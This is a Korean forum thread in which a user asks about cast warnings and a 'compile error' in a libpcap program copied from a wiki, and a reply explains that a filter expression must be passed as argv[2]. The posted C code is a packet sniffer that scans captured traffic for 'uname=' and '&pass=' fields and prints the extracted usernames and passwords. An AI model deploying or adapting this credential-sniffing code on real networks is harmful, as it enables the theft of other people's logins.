libpcap 라이브러리를 가지고 프로그램을 하려 하는데 cast warning에 관해 질문드립니다.

h2cl의 이미지

libpcap을 설치하여 위키의 어느분의 소스를 가지고 아래와 같이 컴파일 하였습니다.
그런데 컴파일중에 warning이 몇개 떴는데아래과 같습니다.

callback 함수에서는
assignment from incompatible pointer type
이라고 뜨고

main함수에서는
assignment makes pointer from integer withoput a cast 라고 뜹니다

리눅스는 페도라 6을 사용하였습니다. GCC 버전문제인가요?

그리고 warning이라 그냥 실행시켜봤더니

DEV : eth0
NET : 211.244.233.0
MSK : 255.255.255.0
=======================
compile error

라고 나옵니다. 어디가 문제인지 잘모르겠습니다.
-------------------------소스--------------------
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define PROMISCUOUS 1
#define NONPROMISCUOUS 0
#define TCPHEADERSIZE 6*4

// IP 헤더 구조체
struct ip *iph;
// TCP 헤더 구조체
struct tcphdr *tcph;

// 패킷을 받아들일경우 이 함수를 호출한다.
// packet 가 받아들인 패킷이다.
void callback(u_char *useless, const struct pcap_pkthdr *pkthdr,
const u_char *packet)
{
struct ether_header *ep;
unsigned short ether_type;

char *uname = NULL;
char *pass = NULL;
char buf[80];

// 이더넷 헤더를 가져온다.
ep = (struct ether_header *)packet;

// IP 헤더를 가져오기 위해서
// 이더넷 헤더 크기만큼 offset 한다.
packet += sizeof(struct ether_header);
ether_type = ntohs(ep->ether_type);

// Network Layer 의 Protocol 타입을 알아낸다.
// 만약 IP 프로토콜을 사용한다면
// IP 정보를 얻어온다.
if (ether_type == ETHERTYPE_IP)
{
iph = (struct ip *)packet;
if (iph->ip_p == IPPROTO_TCP)
{
tcph = (struct tcp *)(packet + iph->ip_hl * 4);
}

memset(buf, 0x00, 80);

// 유저 데이타를 얻어오기 위해서
// IP, TCP, Ethernet 헤더 크기만큼 offset 한다.
packet += (iph->ip_hl * 4)+TCPHEADERSIZE+(sizeof(struct ether_header));

// 패킷에 ID와 password 관련 문자열을 포함하는지 확인한다.
if ( ((uname = strstr(packet, "uname=")) != NULL)
&& ((pass = strstr(packet, "&pass=")) != NULL))
{
// 헤더 정보를 출력한후
printf("HEADER INFO\n");
printf("Src Address : %s\n", inet_ntoa(iph->ip_src));
printf("Dst Address : %s\n", inet_ntoa(iph->ip_dst));

printf("Src Port : %d\n" , ntohs(tcph->source));
printf("Dst Port : %d\n" , ntohs(tcph->dest));

// 문자열에서 필요한 정보 즉 ID와 Password 만을
// 추출해 낸다.
strncpy(buf, uname+6, strstr(uname, "&") - (uname + 6));
printf("Uname : <%s>\n", buf);
memset(buf, 0x00, 80);
strncpy(buf, pass+6, strstr(pass+6, "&") - (pass + 6));
printf("Pass : <%s>\n", buf);
printf("======================\n\n");
}
}
}

int main(int argc, char **argv)
{
char *dev;
char *net;
char *mask;

bpf_u_int32 netp;
bpf_u_int32 maskp;
char errbuf[PCAP_ERRBUF_SIZE];
int ret;
struct pcap_pkthdr hdr;
struct in_addr net_addr, mask_addr;

struct bpf_program fp;

pcap_t *pcd; // packet capture descriptor

// 디바이스 이름을 얻어온다.
dev = pcap_lookupdev(errbuf);
if (dev == NULL)
{
printf("%s\n", errbuf);
exit(1);
}
printf("DEV : %s\n", dev);
// 디바이스에 대한 네트웍 정보를 얻어온다.
ret = pcap_lookupnet(dev, &netp, &maskp, errbuf);
if (ret == -1)
{
printf("%s\n", errbuf);
exit(1);
}

// 네트웍 정보를 사람이 보기 쉽도록
// 변환한다음 출력한다.
net_addr.s_addr = netp;
net = inet_ntoa(net_addr);
printf("NET : %s\n", net);

mask_addr.s_addr = maskp;
mask = inet_ntoa(mask_addr);
printf("MSK : %s\n", mask);
printf("=======================\n");

// 디바이스에 대한 packet capture descriptor
// 를 얻어온다.
pcd = pcap_open_live(dev, BUFSIZ, NONPROMISCUOUS, -1, errbuf);
if (pcd == NULL)
{
printf("%s\n", errbuf);
exit(1);
}

// 컴파일 옵션을 준다.
if (pcap_compile(pcd, &fp, argv[2], 0, netp) == -1)
{
printf("compile error\n");
exit(1);
}
// 컴파일 옵션대로 필터룰을 세팅한다.
if (pcap_setfilter(pcd, &fp) == -1)
{
printf("setfilter error\n");
exit(0);
}

// 지정된 횟수만큼 패킷캡쳐를 한다.
// pcap_setfilter 을 통과한 패킷에 대해서
// callback 함수를 호출한다.
pcap_loop(pcd, atoi(argv[1]), callback, NULL);
}

binoopang의 이미지

compile error 라면 코드상으로는

// 컴파일 옵션을 준다. 
if (pcap_compile(pcd, &fp, argv[2], 0, netp) == -1)
{
printf("compile error\n");
exit(1);
}

여기부분이군요 .. argv[2]에다가 컴파일 옵션을 주어야 하기 때문에

./실행프로그램 패킷캡쳐플래그(ex. PROMISCUOUS) 컴파일옵션(ex. tcp)

와 같은 식으로 실행하면 될 것 같습니다.

-------- 시그내쳐 ---------
열심히 열심히 열심히 ..
음악을 하는것 처럼!!

댓글 달기

Filtered HTML

  • 텍스트에 BBCode 태그를 사용할 수 있습니다. URL은 자동으로 링크 됩니다.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>
  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.

BBCode

  • 텍스트에 BBCode 태그를 사용할 수 있습니다. URL은 자동으로 링크 됩니다.
  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param>
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.

Textile

  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • You can use Textile markup to format text.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>

Markdown

  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • Quick Tips:
    • Two or more spaces at a line's end = Line break
    • Double returns = Paragraph
    • *Single asterisks* or _single underscores_ = Emphasis
    • **Double** or __double__ = Strong
    • This is [a link](http://the.link.example.com "The optional title text")
    For complete details on the Markdown syntax, see the Markdown documentation and Markdown Extra documentation for tables, footnotes, and more.
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>

Plain text

  • HTML 태그를 사용할 수 없습니다.
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.
  • 줄과 단락은 자동으로 분리됩니다.
댓글 첨부 파일
이 댓글에 이미지나 파일을 업로드 합니다.
파일 크기는 8 MB보다 작아야 합니다.
허용할 파일 형식: txt pdf doc xls gif jpg jpeg mp3 png rar zip.
CAPTCHA
이것은 자동으로 스팸을 올리는 것을 막기 위해서 제공됩니다.